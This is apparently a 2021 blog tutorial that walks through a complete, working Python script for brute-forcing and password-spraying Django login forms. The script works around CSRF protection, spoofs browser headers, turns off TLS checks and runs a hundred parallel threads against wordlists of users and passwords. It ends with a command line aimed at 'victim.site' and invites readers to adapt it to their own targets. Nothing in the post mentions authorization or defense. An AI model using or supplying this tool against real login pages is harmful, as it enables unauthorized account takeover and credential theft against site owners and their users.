Feb. 15, 2021 // bogs // python
Cracking Passwords with Python
Using Hydra or Patator is great, they are very performant tools but they lack customization. More and more web applications just cannot be brute-forced just by making POST requests to an endpoint.
Here are some issues you might encounter:
- CSRF Protection: before making a POST request you need to make a GET first and extract the CSRF token
- Rate Limiting: requests may be dropped if they exceed a certain threshold
- Web Sockets: some frameworks implement authentication over Web Sockets
- Various obfuscation techniques: for example sending digests of the credentials rather than the raw credentials
All these issues make it hard to crack passwords and there are fewer and fewer sites that fit the traditional pattern. Writing your own brute-force scripts can prove to be a very useful skill to have in your toolbox.
Let's get started with some code. The following approach is good for brute-forcing Django login forms, but if you understand the pattern you should be able to adapt it to your own scenario. In this example, the main issue we need to account for is CSRF protection.
Here are the imports and some global settings definitions:
import time
import itertools
import sys
import warnings
import concurrent.futures
import requests
import datetime
import atexit
from bs4 import BeautifulSoup
NUM_WORKERS = 100 # Number of threads
BATCH_SIZE = 100 # How many accounts to generate
accounts = [] # Found accounts
total_checks = 0 # How many tries so far
total_combinations = 0 # How many accounts in total
start_time = None # Timestamp when we started
We now want to define a function that prints some final stats:
def print_stats():
"""
Print final stats
"""
global start_time
if accounts:
print("[+] Accounts found: ", accounts)
else:
print("[!] No valid credentials found.")
current_time = time.time()
elapsed_time = current_time - start_time
print("[*] Total time (hours): ", str(datetime.timedelta(seconds=elapsed_time)))
print("[*] Total tries: ", total_checks)
Like we said, we first need to issue a GET request in order to get the CSRF token:
def fetch_csrf_token(url):
"""
Fetch the form and parse the CSRF Tokens
:param url: URL of the login form
:return: {'csrftoken': <CSRF COOKIE TOKEN>, 'csrfmiddlewaretoken': <CSRF FORM TOKEN>}
"""
csrfmiddlewaretoken = ''
with warnings.catch_warnings():
warnings.simplefilter("ignore")
response = requests.get(url, verify=False)
csrfcookietoken = response.cookies['csrftoken']
bs = BeautifulSoup(response.content, features="html.parser")
csrf_tag = bs.find("input", {'name': "csrfmiddlewaretoken"})
try:
csrfmiddlewaretoken = csrf_tag.attrs['value']
except ValueError:
pass
return {'csrftoken': csrfcookietoken, 'csrfmiddlewaretoken': csrfmiddlewaretoken}
We now need to issue the POST request that actually checks whether a
username and password combination is valid. Notice how this function calls
fetch_csrf_token first.
def check_pass(url, user, passwd):
"""
Issue a request with credentials
:param url: Where to make the POST request
:param user: username to try
:param passwd: password to try
:return: True/False
"""
global total_checks
global start_time
tokens = fetch_csrf_token(url)
response = requests.post(url, verify=False, data={
'username': user,
'password': passwd,
'csrfmiddlewaretoken': tokens['csrfmiddlewaretoken']
}, headers={
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:72.0) Gecko/20100101 Firefox/72.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Referer': url,
'Cookie': 'csrftoken=' + tokens['csrftoken'],
'Upgrade-Insecure-Requests': '1',
})
total_checks += 1
if response.status_code != 200:
print("[+] Found valid credentials: %s/%s" % (user, passwd))
accounts.append((user, passwd))
return True
return False
Finally, let's write a function that calls check_pass, creates
the username/password combinations, and spawns the threads that make the
requests in parallel. This is the reusable part of the algorithm. If you
want to adapt it to a different authentication flow, you mainly need a
different check_pass function.
def bruteforce_authentication(url, usernames, passwords):
"""
Spawn threads and try out different username/password combinations
:param url: Where the login form is located
:param usernames: iterable of usernames
:param passwords: iterable of passwords
"""
global start_time
start_time = time.time()
# Keep password fixed and vary the user (password spray)
pairs = itertools.product(passwords, usernames)
batch = list(itertools.islice(pairs, BATCH_SIZE))
while batch:
with concurrent.futures.ThreadPoolExecutor(max_workers=NUM_WORKERS) as executor:
# Spawn threads
futures = {executor.submit(check_pass, url, user, passwd) for passwd, user in batch}
concurrent.futures.wait(futures)
current_time = time.time()
elapsed_time = current_time - start_time
tries_per_second = total_checks / elapsed_time * 60
percent_complete = total_checks / total_combinations
sys.stdout.write("\r[*] Complete: %.4f%%, Speed: %.2f/min, Elapsed: %s, Tries: %s" % (
percent_complete * 100,
tries_per_second,
str(datetime.timedelta(seconds=int(elapsed_time))),
total_checks))
sys.stdout.flush()
batch = list(itertools.islice(pairs, BATCH_SIZE))
And here is the code that makes everything usable as a neat command-line script:
if __name__ == "__main__":
# Print the stats before we exit
atexit.register(print_stats)
username_list = [l.strip() for l in open(sys.argv[2], 'r').readlines()]
password_list = [l.strip() for l in open(sys.argv[3], 'r').readlines()]
total_combinations = len(username_list) * len(password_list)
print("[*] %s combinations to try ..." % total_combinations)
with warnings.catch_warnings():
warnings.simplefilter("ignore")
bruteforce_authentication(sys.argv[1], username_list, password_list)
If we want to call the script from a shell, we can do it like this:
$ python crack.py http://victim.site users.txt passwords.txt
That is the overall pattern. To customize this code for your own target, you
usually only need to write a different check_pass function,
because that is where the authentication logic lives.